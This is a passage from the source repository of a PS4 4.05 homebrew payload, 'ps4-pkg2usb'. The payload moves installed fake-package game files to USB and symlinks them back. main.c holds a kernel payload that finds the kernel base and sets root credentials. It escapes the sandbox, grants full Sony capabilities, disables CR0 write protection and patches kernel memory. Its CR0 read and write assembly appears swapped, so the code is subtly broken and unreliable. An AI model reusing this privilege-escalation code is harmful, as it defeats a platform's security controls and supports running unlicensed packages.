accessing the fields of st_other. */ 206 | #define ELF64_ST_VISIBILITY(oth) ((oth) & 0x3) 207 | 208 | /* Structures used by Sun & GNU-style symbol versioning. */ 209 | typedef struct { 210 | Elf64_Half vd_version; 211 | Elf64_Half vd_flags; 212 | Elf64_Half vd_ndx; 213 | Elf64_Half vd_cnt; 214 | Elf64_Word vd_hash; 215 | Elf64_Word vd_aux; 216 | Elf64_Word vd_next; 217 | } Elf64_Verdef; 218 | 219 | typedef struct { 220 | Elf64_Word vda_name; 221 | Elf64_Word vda_next; 222 | } Elf64_Verdaux; 223 | 224 | typedef struct { 225 | Elf64_Half vn_version; 226 | Elf64_Half vn_cnt; 227 | Elf64_Word vn_file; 228 | Elf64_Word vn_aux; 229 | Elf64_Word vn_next; 230 | } Elf64_Verneed; 231 | 232 | typedef struct { 233 | Elf64_Word vna_hash; 234 | Elf64_Half vna_flags; 235 | Elf64_Half vna_other; 236 | Elf64_Word vna_name; 237 | Elf64_Word vna_next; 238 | } Elf64_Vernaux; 239 | 240 | typedef Elf64_Half Elf64_Versym; 241 | 242 | typedef struct { 243 | Elf64_Half si_boundto; /* direct bindings - symbol bound to */ 244 | Elf64_Half si_flags; /* per symbol flags */ 245 | } Elf64_Syminfo; 246 | 247 | 248 | -------------------------------------------------------------------------------- /405/include/link.h: -------------------------------------------------------------------------------- 1 | #ifndef LINK_H 2 | #define LINK_H 3 | 4 | void link_pkg(char *title_id, char *usb_path); 5 | int file_exists(char *filename); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /405/include/main.h: -------------------------------------------------------------------------------- 1 | #ifndef MAIN_H 2 | #define MAIN_H 3 | 4 | #define SPLIT_APP 1 5 | #define SPLIT_PATCH 2 6 | 7 | typedef struct 8 | { 9 | char* title_id; 10 | int copy; 11 | int split; 12 | int notify; 13 | int shutdown; 14 | } configuration; 15 | 16 | extern configuration config; 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /405/include/pkg.h: -------------------------------------------------------------------------------- 1 | #ifndef PKG_H 2 | #define PKG_H 3 | 4 | #define PS4_PKG_MAGIC 0x544E437F // .CNT 5 | 6 | enum PS4_PKG_ENTRY_TYPES 7 | { 8 | PS4_PKG_ENTRY_TYPE_DIGEST_TABLE = 0x0001, 9 | PS4_PKG_ENTRY_TYPE_0x800 = 0x0010, 10 | PS4_PKG_ENTRY_TYPE_0x200 = 0x0020, 11 | PS4_PKG_ENTRY_TYPE_0x180 = 0x0080, 12 | PS4_PKG_ENTRY_TYPE_META_TABLE = 0x0100, 13 | PS4_PKG_ENTRY_TYPE_NAME_TABLE = 0x0200, 14 | PS4_PKG_ENTRY_TYPE_LICENSE = 0x0400, 15 | PS4_PKG_ENTRY_TYPE_FILE1 = 0x1000, 16 | PS4_PKG_ENTRY_TYPE_FILE2 = 0x1200 17 | }; 18 | 19 | // CNT/PKG structures. 20 | struct cnt_pkg_main_header 21 | { 22 | uint32_t magic; 23 | uint32_t type; 24 | uint32_t unk_0x08; 25 | uint32_t unk_0x0C; 26 | uint16_t unk1_entries_num; 27 | uint16_t table_entries_num; 28 | uint16_t system_entries_num; 29 | uint16_t unk2_entries_num; 30 | uint32_t file_table_offset; 31 | uint32_t main_entries_data_size; 32 | uint32_t unk_0x20; 33 | uint32_t body_offset; 34 | uint32_t unk_0x28; 35 | uint32_t body_size; 36 | uint8_t unk_0x30[0x10]; 37 | uint8_t content_id[0x30]; 38 | uint32_t unk_0x70; 39 | uint32_t unk_0x74; 40 | uint32_t unk_0x78; 41 | uint32_t unk_0x7C; 42 | uint32_t date; 43 | uint32_t time; 44 | uint32_t unk_0x88; 45 | uint32_t unk_0x8C; 46 | uint8_t unk_0x90[0x70]; 47 | uint8_t main_entries1_digest[0x20]; 48 | uint8_t main_entries2_digest[0x20]; 49 | uint8_t digest_table_digest[0x20]; 50 | uint8_t body_digest[0x20]; 51 | } __attribute__((packed)); 52 | 53 | struct cnt_pkg_content_header 54 | { 55 | uint32_t unk_0x400; 56 | uint32_t unk_0x404; 57 | uint32_t unk_0x408; 58 | uint32_t unk_0x40C; 59 | uint32_t unk_0x410; 60 | uint32_t content_offset; 61 | uint32_t unk_0x418; 62 | uint32_t content_size; 63 | uint32_t unk_0x420; 64 | uint32_t unk_0x424; 65 | uint32_t unk_0x428; 66 | uint32_t unk_0x42C; 67 | uint32_t unk_0x430; 68 | uint32_t unk_0x434; 69 | uint32_t unk_0x438; 70 | uint32_t unk_0x43C; 71 | uint8_t content_digest[0x20]; 72 | uint8_t content_one_block_digest[0x20]; 73 | } __attribute__((packed)); 74 | 75 | struct cnt_pkg_table_entry 76 | { 77 | uint32_t type; 78 | uint32_t unk1; 79 | uint32_t flags1; 80 | uint32_t flags2; 81 | uint32_t offset; 82 | uint32_t size; 83 | uint32_t unk2; 84 | uint32_t unk3; 85 | } __attribute__((packed)); 86 | 87 | // Internal structure. 88 | struct file_entry 89 | { 90 | int offset; 91 | int size; 92 | char *name; 93 | }; 94 | 95 | int isfpkg(char *pkgfn); 96 | 97 | #endif 98 | -------------------------------------------------------------------------------- /405/include/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILS_H 2 | #define UTILS_H 3 | 4 | #include "types.h" 5 | 6 | int symlink(const char *pathname, const char *slink); 7 | 8 | int symlinkat(const char *pathname, int newdirfd, const char *slink); 9 | 10 | int lstat(const char *pathname, struct stat *buf); 11 | 12 | off_t file_size(const char *filename); 13 | 14 | int file_exists(char *fname); 15 | 16 | int dir_exists(char *dname); 17 | 18 | int symlink_exists(const char* fname); 19 | 20 | int wait_for_usb(char *usb_name, char *usb_path); 21 | 22 | char* chop(char *string); 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /405/move.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ./clean.sh 4 | ./build.sh 5 | mv *.bin $PAYLOADS --force -------------------------------------------------------------------------------- /405/ps4-pkg2usb.cfg: -------------------------------------------------------------------------------- 1 | ; 2 | ; ps4-pkg2usb configuration file. Copy it to your USB disk root. 3 | ; 4 | ; App.pkg destination example: 5 | ; X:\PS4\CUSAxxxxx\app.pkg 6 | ; 7 | ; NB: 8 | ; It works only with fpkg 9 | ; 10 | ; Tips: 11 | ; If you have the app.pkg originally installed, 12 | ; you can avoid copying from the hard disk by putting the file itself in usb X:\PS4\CUSAxxxxx\app.pkg 13 | ; To restore internal app.pkg just resinstall as usal 14 | ; 15 | ; Coded by SiSTRo - Cedits to XVortex & Anonymous 16 | ; 17 | 18 | ; Installed app/game title id 19 | title_id=CUSA00000 20 | 21 | ; 0 - Do not copy app.pkg from hdd 22 | ; 1 - Copy app.pkg from hdd to usb 23 | copy=1 24 | 25 | ; Notification interval in s. (0 - disables notifications) 26 | notify=60 27 | 28 | ; Turn off the console when it has completed (0/1) 29 | shutdown=0 -------------------------------------------------------------------------------- /405/send.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | socat -u FILE:ps4-pkg2usb.bin TCP:192.168.1.124:9020 4 | socat - tcp-listen:9023 -------------------------------------------------------------------------------- /405/source/cfg.c: -------------------------------------------------------------------------------- 1 | /* inih -- simple .ini/.cfg file parser 2 | 3 | inih is released under the New BSD license (see LICENSE.txt). Go to the project 4 | home page for more info: 5 | 6 | https://github.com/benhoyt/inih 7 | 8 | */ 9 | 10 | #include "ps4.h" 11 | #include "defines.h" 12 | #include "cfg.h" 13 | 14 | #define MAX_NAME 50 15 | 16 | #define EOF '\00' 17 | 18 | static inline int fgetc(FILE *fp) 19 | { 20 | char c; 21 | 22 | if (fread(&c, 1, 1, fp) == 0) 23 | return (EOF); 24 | return (c); 25 | } 26 | 27 | static char *fgets(char *dst, int max, FILE *fp) 28 | { 29 | int c = EOF; 30 | char *p; 31 | 32 | /* get max bytes or upto a newline */ 33 | for (p = dst, max--; max > 0; max--) 34 | { 35 | if ((c = fgetc (fp)) == EOF) 36 | break; 37 | *p++ = c; 38 | if (c == '\n') 39 | break; 40 | } 41 | *p = 0; 42 | if (p == dst || c == EOF) 43 | return NULL; 44 | return (p); 45 | } 46 | 47 | bool isspace(int c) 48 | { 49 | return c == ' ' || c == '\t'; 50 | } 51 | 52 | /* Used by cfg_parse_string() to keep track of string parsing state. */ 53 | typedef struct { 54 | const char* ptr; 55 | size_t num_left; 56 | } cfg_parse_string_ctx; 57 | 58 | /* Strip whitespace chars off end of given string, in place. Return s. */ 59 | static char* rstrip(char* s) 60 | { 61 | char* p = s + strlen(s); 62 | while (p > s && isspace((unsigned char)(*--p))) 63 | *p = '\0'; 64 | return s; 65 | } 66 | 67 | /* Return pointer to first non-whitespace char in given string. */ 68 | static char* lskip(const char* s) 69 | { 70 | while (*s && isspace((unsigned char)(*s))) 71 | s++; 72 | return (char*)s; 73 | } 74 | 75 | /* Return pointer to first char (of chars) or inline comment in given string, 76 | or pointer to null at end of string if neither found. Inline comment must 77 | be prefixed by a whitespace character to register as a comment. */ 78 | static char* find_chars_or_comment(const char* s, const char* chars) 79 | { 80 | #if CFG_ALLOW_INLINE_COMMENTS 81 | int was_space = 0; 82 | while (*s && (!chars || !strchr(chars, *s)) && 83 | !(was_space && strchr(CFG_INLINE_COMMENT_PREFIXES, *s))) { 84 | was_space = isspace((unsigned char)(*s)); 85 | s++; 86 | } 87 | #else 88 | while (*s && (!chars || !strchr(chars, *s))) { 89 | s++; 90 | } 91 | #endif 92 | return (char*)s; 93 | } 94 | 95 | /* Version of strncpy that ensures dest (size bytes) is null-terminated. */ 96 | static char* strncpy0(char* dest, const char* src, size_t size) 97 | { 98 | strncpy(dest, src, size); 99 | dest[size - 1] = '\0'; 100 | return dest; 101 | } 102 | 103 | /* See documentation in header file. */ 104 | int cfg_parse_stream(cfg_reader reader, void* stream, cfg_handler handler, void* user) 105 | { 106 | /* Uses a fair bit of stack (use heap instead if you need to) */ 107 | #if CFG_USE_STACK 108 | char line[CFG_MAX_LINE]; 109 | int max_line = CFG_MAX_LINE; 110 | #else 111 | char* line; 112 | int max_line = CFG_INITIAL_ALLOC; 113 | #endif 114 | #if CFG_ALLOW_REALLOC 115 | char* new_line; 116 | int offset; 117 | #endif 118 | char prev_name[MAX_NAME] = ""; 119 | 120 | char* start; 121 | char* end; 122 | char* name; 123 | char* value; 124 | int lineno = 0; 125 | int error = 0; 126 | 127 | #if !CFG_USE_STACK 128 | line = (char*)malloc(CFG_INITIAL_ALLOC); 129 | if (!line) { 130 | return -2; 131 | } 132 | #endif 133 | 134 | #if CFG_HANDLER_LINENO 135 | #define HANDLER(u, n, v) handler(u, n, v, lineno) 136 | #else 137 | #define HANDLER(u, n, v) handler(u, n, v) 138 | #endif 139 | 140 | /* Scan through stream line by line */ 141 | while (reader(line, max_line, stream) != NULL) { 142 | #if CFG_ALLOW_REALLOC 143 | offset = strlen(line); 144 | while (offset == max_line - 1 && line[offset - 1] != '\n') { 145 | max_line *= 2; 146 | if (max_line > CFG_MAX_LINE) 147 | max_line = CFG_MAX_LINE; 148 | new_line = realloc(line, max_line); 149 | if (!new_line) { 150 | free(line); 151 | return -2; 152 | } 153 | line = new_line; 154 | if (reader(line + offset, max_line - offset, stream) == NULL) 155 | break; 156 | if (max_line >= CFG_MAX_LINE) 157 | break; 158 | offset += strlen(line + offset); 159 | } 160 | #endif 161 | 162 | lineno++; 163 | 164 | start = line; 165 | #if CFG_ALLOW_BOM 166 | if (lineno == 1 && (unsigned char)start[0] == 0xEF && 167 | (unsigned char)start[1] == 0xBB && 168 | (unsigned char)start[2] == 0xBF) { 169 | start += 3; 170 | } 171 | #endif 172 | start = lskip(rstrip(start)); 173 | 174 | if (*start == ';' || *start == '#') { 175 | /* Per Python configparser, allow both ; and # comments at the 176 | start of a line */ 177 | } 178 | #if CFG_ALLOW_MULTILINE 179 | else if (*prev_name && *start && start > line) { 180 | /* Non-blank line with leading whitespace, treat as continuation 181 | of previous name's value (as per Python configparser). */ 182 | if (!HANDLER(user, prev_name, start) && !error) 183 | error = lineno; 184 | } 185 | #endif 186 | else if (*start) { 187 | /* Not a comment, must be a name[=:]value pair */ 188 | end = find_chars_or_comment(start, "=:"); 189 | if (*end == '=' || *end == ':') { 190 | *end = '\0'; 191 | name = rstrip(start); 192 | value = end + 1; 193 | #if CFG_ALLOW_INLINE_COMMENTS 194 | end = find_chars_or_comment(value, NULL); 195 | if (*end) 196 | *end = '\0'; 197 | #endif 198 | value = lskip(value); 199 | rstrip(value); 200 | 201 | /* Valid name[=:]value pair found, call handler */ 202 | strncpy0(prev_name, name, sizeof(prev_name)); 203 | if (!HANDLER(user, name, value) && !error) 204 | error = lineno; 205 | } 206 | else if (!error) { 207 | /* No '=' or ':' found on name[=:]value line */ 208 | error = lineno; 209 | } 210 | } 211 | 212 | #if CFG_STOP_ON_FIRST_ERROR 213 | if (error) 214 | break; 215 | #endif 216 | } 217 | 218 | #if !CFG_USE_STACK 219 | free(line); 220 | #endif 221 | 222 | return error; 223 | } 224 | 225 | /* See documentation in header file. */ 226 | int cfg_parse_file(FILE* file, cfg_handler handler, void* user) 227 | { 228 | return cfg_parse_stream((cfg_reader)fgets, file, handler, user); 229 | } 230 | 231 | /* See documentation in header file. */ 232 | int cfg_parse(const char* filename, cfg_handler handler, void* user) 233 | { 234 | FILE* file; 235 | int error; 236 | 237 | file = fopen(filename, "r"); 238 | if (!file) 239 | return -1; 240 | error = cfg_parse_file(file, handler, user); 241 | fclose(file); 242 | return error; 243 | } 244 | 245 | /* An cfg_reader function to read the next line from a string buffer. This 246 | is the fgets() equivalent used by cfg_parse_string(). */ 247 | static char* cfg_reader_string(char* str, int num, void* stream) { 248 | cfg_parse_string_ctx* ctx = (cfg_parse_string_ctx*)stream; 249 | const char* ctx_ptr = ctx->ptr; 250 | size_t ctx_num_left = ctx->num_left; 251 | char* strp = str; 252 | char c; 253 | 254 | if (ctx_num_left == 0 || num < 2) 255 | return NULL; 256 | 257 | while (num > 1 && ctx_num_left != 0) { 258 | c = *ctx_ptr++; 259 | ctx_num_left--; 260 | *strp++ = c; 261 | if (c == '\n') 262 | break; 263 | num--; 264 | } 265 | 266 | *strp = '\0'; 267 | ctx->ptr = ctx_ptr; 268 | ctx->num_left = ctx_num_left; 269 | return str; 270 | } 271 | 272 | /* See documentation in header file. */ 273 | int cfg_parse_string(const char* string, cfg_handler handler, void* user) { 274 | cfg_parse_string_ctx ctx; 275 | 276 | ctx.ptr = string; 277 | ctx.num_left = strlen(string); 278 | return cfg_parse_stream((cfg_reader)cfg_reader_string, &ctx, handler, user); 279 | } 280 | -------------------------------------------------------------------------------- /405/source/debug.c: -------------------------------------------------------------------------------- 1 | #include "ps4.h" 2 | #include "defines.h" 3 | #include "debug.h" 4 | #include "main.h" 5 | 6 | #ifdef DEBUG_SOCKET 7 | 8 | int sock; 9 | 10 | void initDebugSocket(void) 11 | { 12 | struct sockaddr_in server; 13 | 14 | server.sin_len = sizeof(server); 15 | server.sin_family = AF_INET; 16 | sceNetInetPton(AF_INET, LOG_IP, &server.sin_addr); 17 | server.sin_port = sceNetHtons(LOG_PORT); 18 | memset(server.sin_zero, 0, sizeof(server.sin_zero)); 19 | sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0); 20 | sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server)); 21 | 22 | int flag = 1; 23 | sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int)); 24 | } 25 | 26 | void closeDebugSocket(void) 27 | { 28 | sceNetSocketClose(sock); 29 | } 30 | 31 | #endif 32 | 33 | void notify(char *message) 34 | { 35 | if (!config.notify) return; 36 | char buffer[512]; 37 | sprintf(buffer, "%s\n\n\n\n\n\n\n", message); 38 | sceSysUtilSendSystemNotificationWithText(0x81, buffer); 39 | } 40 | -------------------------------------------------------------------------------- /405/source/link.c: -------------------------------------------------------------------------------- 1 | #include "ps4.h" 2 | #include "defines.h" 3 | #include "debug.h" 4 | #include "main.h" 5 | #include "elf64.h" 6 | #include "link.h" 7 | #include "utils.h" 8 | #include "pkg.h" 9 | 10 | #define BUFFER_SIZE 65536 11 | 12 | int file_compare(char *fname1, char *fname2) 13 | { 14 | long size1, size2; 15 | 16 | int bytesRead1 = 0, 17 | bytesRead2 = 0, 18 | lastBytes = 100, 19 | res = 0, 20 | i; 21 | 22 | FILE *file1 = fopen(fname1, "rb"), 23 | *file2 = fopen(fname2, "rb"); 24 | 25 | char *buffer1 = malloc(BUFFER_SIZE), 26 | *buffer2 = malloc(BUFFER_SIZE); 27 | 28 | if (!file1 || !file2) { 29 | return res; // res = 0; 30 | } 31 | 32 | fseek (file1, 0, SEEK_END); 33 | fseek (file2, 0, SEEK_END); 34 | 35 | size1 = ftell (file1); 36 | size2 = ftell (file2); 37 | 38 | fseek(file1, 0L, SEEK_SET); 39 | fseek(file2, 0L, SEEK_SET); 40 | 41 | if (size1 != size2) { 42 | //printfsocket("Different size > size1: %ld - size2: %ld\n", size1, size2); 43 | res = 0; 44 | goto exit; 45 | } 46 | //printfsocket("size1: %ld - size2: %ld\n", size1, size2); 47 | 48 | if (size1 < lastBytes) lastBytes = size1; 49 | 50 | fseek(file1, -lastBytes, SEEK_END); 51 | fseek(file2, -lastBytes, SEEK_END); 52 | 53 | bytesRead1 = fread(buffer1, sizeof(char), lastBytes, file1); 54 | bytesRead2 = fread(buffer2, sizeof(char), lastBytes, file2); 55 | 56 | if (bytesRead1 > 0 && bytesRead1 == bytesRead2) { 57 | for ( i = 0; i < bytesRead1; i++) { 58 | if (buffer1[i] != buffer2[i]) { 59 | //printfsocket("Different lastBytes %d\n", lastBytes); 60 | res = 0; 61 | goto exit; 62 | } 63 | } 64 | 65 | //printfsocket("Same lastBytes %d\n", lastBytes); 66 | res = 1; 67 | } 68 | 69 | free(buffer1); 70 | free(buffer2); 71 | 72 | exit: 73 | //printfsocket("Closing files\n"); 74 | fclose(file1); 75 | fclose(file2); 76 | 77 | return res; 78 | } 79 | 80 | void copy_file(char *sourcefile, char* destfile) 81 | { 82 | char msg[64]; 83 | 84 | FILE *src = fopen(sourcefile, "rb"); 85 | if (src) 86 | { 87 | FILE *out = fopen(destfile,"wb"); 88 | if (out) 89 | { 90 | size_t bytes, bytes_size, bytes_copied = 0; 91 | 92 | char *buffer = malloc(BUFFER_SIZE); 93 | 94 | if (buffer != NULL) 95 | { 96 | fseek(src, 0L, SEEK_END); 97 | bytes_size = ftell(src); 98 | fseek(src, 0L, SEEK_SET); 99 | 100 | while (0 < (bytes = fread(buffer, 1, BUFFER_SIZE, src))) { 101 | fwrite(buffer, 1, bytes, out); 102 | bytes_copied += bytes; 103 | 104 | if (bytes_copied > bytes_size) bytes_copied = bytes_size; 105 | sprintf(notify_buf, "Copying %u%% completed...\n", bytes_copied * 100 / bytes_size); 106 | //printfsocket(msg); 107 | } 108 | free(buffer); 109 | } 110 | fclose(out); 111 | } 112 | else { 113 | sprintf(msg,"write %s err : %s\n", destfile, strerror(errno)); 114 | printfsocket(msg); 115 | //notify(msg); 116 | } 117 | fclose(src); 118 | } 119 | else { 120 | sprintf(msg,"write %s err : %s\n", destfile, strerror(errno)); 121 | printfsocket(msg); 122 | //notify(msg); 123 | } 124 | } 125 | 126 | void link_pkg(char *title_id, char *usb_path) 127 | { 128 | char app_pkg[64]; 129 | char app_pkg_usb_root_path[64]; 130 | char app_pkg_hdd_base_path[64]; 131 | char app_pkg_usb_base_path[64]; 132 | char app_pkg_hdd_path[64]; 133 | char app_pkg_usb_path[64]; 134 | char msg[512]; 135 | 136 | sprintf(app_pkg, "app.pkg"); 137 | sprintf(app_pkg_usb_root_path, "%s/PS4", usb_path); 138 | sprintf(app_pkg_hdd_base_path, "/user/app/%s", title_id); 139 | sprintf(app_pkg_usb_base_path, "%s/%s", app_pkg_usb_root_path, title_id); 140 | 141 | sprintf(app_pkg_hdd_path, "%s/%s", app_pkg_hdd_base_path, app_pkg); 142 | sprintf(app_pkg_usb_path, "%s/%s", app_pkg_usb_base_path, app_pkg); 143 | 144 | sprintf(msg, "Checking app.pkg in %s...\n", app_pkg_hdd_path); 145 | printfsocket(msg); 146 | 147 | #ifndef DEBUG_SOCKET 148 | notify(msg); 149 | sceKernelSleep(5); 150 | #endif 151 | 152 | if (!file_exists(app_pkg_hdd_path)) { 153 | sprintf(msg, "Error: app.pkg in %s not found!\n", app_pkg_hdd_path); 154 | printfsocket(msg); 155 | 156 | #ifndef DEBUG_SOCKET 157 | notify(msg); 158 | sceKernelSleep(5); 159 | #endif 160 | return; 161 | } 162 | 163 | if (symlink_exists(app_pkg_hdd_path)) { 164 | sprintf(msg, "Error: app.pkg in %s is yet moved!\n", app_pkg_hdd_base_path); 165 | printfsocket(msg); 166 | 167 | #ifndef DEBUG_SOCKET 168 | notify(msg); 169 | sceKernelSleep(5); 170 | #endif 171 | return; 172 | } 173 | 174 | if (isfpkg(app_pkg_hdd_path) != 0) { 175 | sprintf(msg, "Error: %s is not a valid fpkg!\n", app_pkg_hdd_path); 176 | printfsocket(msg); 177 | 178 | #ifndef DEBUG_SOCKET 179 | notify(msg); 180 | sceKernelSleep(5); 181 | #endif 182 | return; 183 | } 184 | 185 | sprintf(msg, "Checking app.pkg in %s ...\n", app_pkg_usb_path); 186 | printfsocket(msg); 187 | 188 | if (!file_exists(app_pkg_usb_root_path)) { 189 | sprintf(msg, "Creating root folder %s ...\n", app_pkg_usb_root_path); 190 | printfsocket(msg); 191 | 192 | mkdir(app_pkg_usb_root_path, 0777); 193 | } 194 | 195 | if (file_exists(app_pkg_usb_path)) { 196 | sprintf(msg, "App found in %s\n", app_pkg_usb_path); 197 | printfsocket(msg); 198 | 199 | if (!file_compare(app_pkg_hdd_path, app_pkg_usb_path)) { 200 | sprintf(msg, "%s and %s are different!\n", app_pkg_hdd_path, app_pkg_usb_path); 201 | printfsocket(msg); 202 | 203 | #ifndef DEBUG_SOCKET 204 | notify(msg); 205 | sceKernelSleep(5); 206 | #endif 207 | return; 208 | } 209 | } else { 210 | sprintf(msg, "App not found in %s\n", app_pkg_usb_path); 211 | printfsocket(msg); 212 | //notify(msg); 213 | 214 | if (!dir_exists(app_pkg_usb_base_path)) { 215 | sprintf(msg, "Creating %s ...\n", app_pkg_usb_base_path); 216 | printfsocket(msg); 217 | 218 | mkdir(app_pkg_usb_base_path, 0777); 219 | } 220 | 221 | sprintf(msg, "Copying app.pkg from %s to %s ...\n", app_pkg_hdd_path, app_pkg_usb_path); 222 | printfsocket(msg); 223 | 224 | #ifndef DEBUG_SOCKET 225 | notify(msg); 226 | sceKernelSleep(5); 227 | #endif 228 | 229 | copy_file(app_pkg_hdd_path, app_pkg_usb_path); 230 | 231 | sprintf(msg, "Copying completed!\n"); 232 | printfsocket(msg); 233 | 234 | #ifndef DEBUG_SOCKET 235 | notify(msg); 236 | sceKernelSleep(5); 237 | #endif 238 | 239 | if (!file_compare(app_pkg_hdd_path, app_pkg_usb_path)) { 240 | sprintf(msg, "%s and %s are different!\n", app_pkg_hdd_path, app_pkg_usb_path); 241 | printfsocket(msg); 242 | 243 | #ifndef DEBUG_SOCKET 244 | notify(msg); 245 | sceKernelSleep(5); 246 | #endif 247 | return; 248 | } 249 | } 250 | 251 | unlink(app_pkg_hdd_path); 252 | 253 | sprintf(msg, "Removing %s completed!\n", app_pkg_hdd_path); 254 | printfsocket(msg); 255 | 256 | int link = symlink(app_pkg_usb_path, app_pkg_hdd_path); 257 | 258 | #ifdef DEBUG_SOCKET 259 | if (link != -1) { 260 | sprintf(msg, "Linking %s to %s completed!\n", app_pkg_hdd_path, app_pkg_usb_path); 261 | } else { 262 | sprintf(msg, "Linking %s to %s failed!\n", app_pkg_hdd_path, app_pkg_usb_path); 263 | } 264 | printfsocket(msg); 265 | #endif 266 | 267 | if (file_exists(app_pkg_hdd_path)) { 268 | sprintf(msg, "Checking app.pkg in %s successed!\n", app_pkg_hdd_path); 269 | printfsocket(msg); 270 | 271 | #ifndef DEBUG_SOCKET 272 | notify(msg); 273 | sceKernelSleep(5); 274 | #endif 275 | } 276 | } -------------------------------------------------------------------------------- /405/source/main.c: -------------------------------------------------------------------------------- 1 | #include "ps4.h" 2 | #include "defines.h" 3 | #include "main.h" 4 | #include "debug.h" 5 | #include "utils.h" 6 | #include "cfg.h" 7 | #include "link.h" 8 | 9 | int nthread_run; 10 | 11 | configuration config; 12 | 13 | unsigned int long long __readmsr(unsigned long __register) { 14 | unsigned long __edx; 15 | unsigned long __eax; 16 | __asm__ ("rdmsr" : "=d"(__edx), "=a"(__eax) : "c"(__register)); 17 | return (((unsigned int long long)__edx) << 32) | (unsigned int long long)__eax; 18 | } 19 | 20 | #define X86_CR0_WP (1 << 16) 21 | 22 | static inline __attribute__((always_inline)) uint64_t readCr0(void) { 23 | uint64_t cr0; 24 | 25 | asm volatile ( 26 | "movq %0, %%cr0" 27 | : "=r" (cr0) 28 | : : "memory" 29 | ); 30 | 31 | return cr0; 32 | } 33 | 34 | static inline __attribute__((always_inline)) void writeCr0(uint64_t cr0) { 35 | asm volatile ( 36 | "movq %%cr0, %0" 37 | : : "r" (cr0) 38 | : "memory" 39 | ); 40 | } 41 | 42 | struct auditinfo_addr { 43 | char useless[184]; 44 | }; 45 | 46 | struct ucred { 47 | uint32_t useless1; 48 | uint32_t cr_uid; // effective user id 49 | uint32_t cr_ruid; // real user id 50 | uint32_t useless2; 51 | uint32_t useless3; 52 | uint32_t cr_rgid; // real group id 53 | uint32_t useless4; 54 | void *useless5; 55 | void *useless6; 56 | void *cr_prison; // jail(2) 57 | void *useless7; 58 | uint32_t useless8; 59 | void *useless9[2]; 60 | void *useless10; 61 | struct auditinfo_addr useless11; 62 | uint32_t *cr_groups; // groups 63 | uint32_t useless12; 64 | }; 65 | 66 | struct filedesc { 67 | void *useless1[3]; 68 | void *fd_rdir; 69 | void *fd_jdir; 70 | }; 71 | 72 | struct proc { 73 | char useless[64]; 74 | struct ucred *p_ucred; 75 | struct filedesc *p_fd; 76 | }; 77 | 78 | struct thread { 79 | void *useless; 80 | struct proc *td_proc; 81 | }; 82 | 83 | #define KERN_XFAST_SYSCALL 0x30EB30 // 4.05 84 | #define KERN_PRISON_0 0xF26010 85 | #define KERN_ROOTVNODE 0x206D250 86 | 87 | int kpayload(struct thread *td){ 88 | 89 | struct ucred* cred; 90 | struct filedesc* fd; 91 | 92 | fd = td->td_proc->p_fd; 93 | cred = td->td_proc->p_ucred; 94 | 95 | void* kernel_base = &((uint8_t*)__readmsr(0xC0000082))[-KERN_XFAST_SYSCALL]; 96 | uint8_t* kernel_ptr = (uint8_t*)kernel_base; 97 | void** got_prison0 = (void**)&kernel_ptr[KERN_PRISON_0]; 98 | void** got_rootvnode = (void**)&kernel_ptr[KERN_ROOTVNODE]; 99 | 100 | cred->cr_uid = 0; 101 | cred->cr_ruid = 0; 102 | cred->cr_rgid = 0; 103 | cred->cr_groups[0] = 0; 104 | 105 | cred->cr_prison = *got_prison0; 106 | fd->fd_rdir = fd->fd_jdir = *got_rootvnode; 107 | 108 | // escalate ucred privs, needed for access to the filesystem ie* mounting & decrypting files 109 | void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred 110 | 111 | // sceSblACMgrIsSystemUcred 112 | uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96); 113 | *sonyCred = 0xffffffffffffffff; 114 | 115 | // sceSblACMgrGetDeviceAccessType 116 | uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88); 117 | *sceProcType = 0x3801000000000013; // Max access 118 | 119 | // sceSblACMgrHasSceProcessCapability 120 | uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104); 121 | *sceProcCap = 0xffffffffffffffff; // Sce Process 122 | 123 | // Disable write protection 124 | uint64_t cr0 = readCr0(); 125 | writeCr0(cr0 & ~X86_CR0_WP); 126 | 127 | // specters debug settings patchs 128 | *(char *)(kernel_base + 0x2001516) |= 0x14; 129 | *(char *)(kernel_base + 0x2001539) |= 3; 130 | *(char *)(kernel_base + 0x200153A) |= 1; 131 | *(char *)(kernel_base + 0x2001558) |= 1; 132 | 133 | // debug menu full patches thanks to sealab 134 | *(uint32_t *)(kernel_base + 0x4CECB7) = 0; 135 | *(uint32_t *)(kernel_base + 0x4CFB9B) = 0; 136 | 137 | // Target ID Patches :) 138 | *(uint16_t *)(kernel_base + 0x1FE59E4) = 0x8101; 139 | *(uint16_t *)(kernel_base + 0X1FE5A2C) = 0x8101; 140 | *(uint16_t *)(kernel_base + 0x200151C) = 0x8101; 141 | 142 | // enable mmap of all SELF ??? 143 | *(uint8_t*)(kernel_base + 0x31EE40) = 0x90; 144 | *(uint8_t*)(kernel_base + 0x31EE41) = 0xE9; 145 | *(uint8_t*)(kernel_base + 0x31EF98) = 0x90; 146 | *(uint8_t*)(kernel_base + 0x31EF99) = 0x90; 147 | 148 | // Restore write protection 149 | writeCr0(cr0); 150 | 151 | return 0; 152 | } 153 | 154 | void *nthread_func(void *arg) 155 | { 156 | time_t t1 = 0, t2; 157 | 158 | while (nthread_run) 159 | { 160 | if (notify_buf[0]) 161 | { 162 | t2 = time(NULL); 163 | if ((t2 - t1) >= config.notify) 164 | { 165 | t1 = t2; 166 | notify(notify_buf); 167 | printfsocket(notify_buf); 168 | } 169 | } 170 | else t1 = 0; 171 | sceKernelSleep(1); 172 | } 173 | 174 | return NULL; 175 | } 176 | 177 | 178 | 179 | static int config_handler(void* user, const char* name, const char* value) 180 | { 181 | configuration* pconfig = (configuration*)user; 182 | 183 | #define MATCH(n) strcmp(name, n) == 0 184 | if (MATCH("title_id")) { 185 | pconfig->title_id = chop(strdup(value)); 186 | } else 187 | if (MATCH("copy")) { 188 | pconfig->copy = atoi(value); 189 | } else 190 | if (MATCH("notify")) { 191 